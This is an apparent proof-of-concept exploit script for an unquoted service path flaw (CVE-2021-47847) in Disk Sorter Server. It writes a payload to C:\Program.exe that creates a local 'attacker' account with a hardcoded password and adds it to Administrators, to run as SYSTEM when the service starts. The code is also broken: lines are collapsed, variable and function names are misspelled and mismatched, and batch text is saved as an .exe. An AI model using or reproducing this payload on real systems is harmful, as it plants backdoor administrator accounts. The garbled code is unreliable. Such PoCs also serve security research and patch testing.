CVE-2021-47847 Disk Sorter Server未引号服务路径权限提升漏洞

# CVE-2021-47847 PoC - Disk Sorter Server Unquoted Service Path # This PoC demonstrates creating a malicious executable in the unquoted path # NOTE: This is for educational and authorized testing purposes only import os import ctypes import sys def create_malicious_executable(): """ Create a malicious executable that will be placed in the unquoted path to achieve privilege escalation via Disk Sorter Server service """ # Malicious executable path (C:\Program.exe will be searched before the full path) malicious_path = r'C:\Program.exe' # Create a simple reverse shell or payload # This example creates a batch file wrapper (actual malware would be a compiled binary) malicious_code = '''@echo off rem CVE-2021-47847 - Malicious payload injected via unquoted service path rem This will execute with SYSTEM privileges when Disk Sorter service starts net user attacker P@ssw0rd123! /add net localgroup Administrators attacker /add ''' try: with open(malicious_path, 'w') as f: f.write(mallicious_code) print(f'[+] Malicious executable created at: {malicious_path}') print('[+] Wait for service restart or system reboot to trigger execution') return True except PermissionError: print('[-] Administrator privileges required to write to C:\\') return False except Exception as e: print(f'[-] Error: {e}') return False def check_vulnerability(): """ Check if Disk Sorter Server is installed and verify unquoted path vulnerability """ service_path = r'C:\Program Files\Disk Sorter Server\bin\disksrs.exe' if os.path.exists(service_path): print(f'[+] Disk Sorter Server found at: {service_path}') print('[+] Service path is UNQUOTED - vulnerable to path hijacking') print('[+] Attack vector: Create malicious executable in C:\\ or C:\\Program Files\\') return True else: print('[-] Disk Sorter Server not found on this system') return False if __name__ == '__main__': if check_vulnerability(): create_mallicious_executable()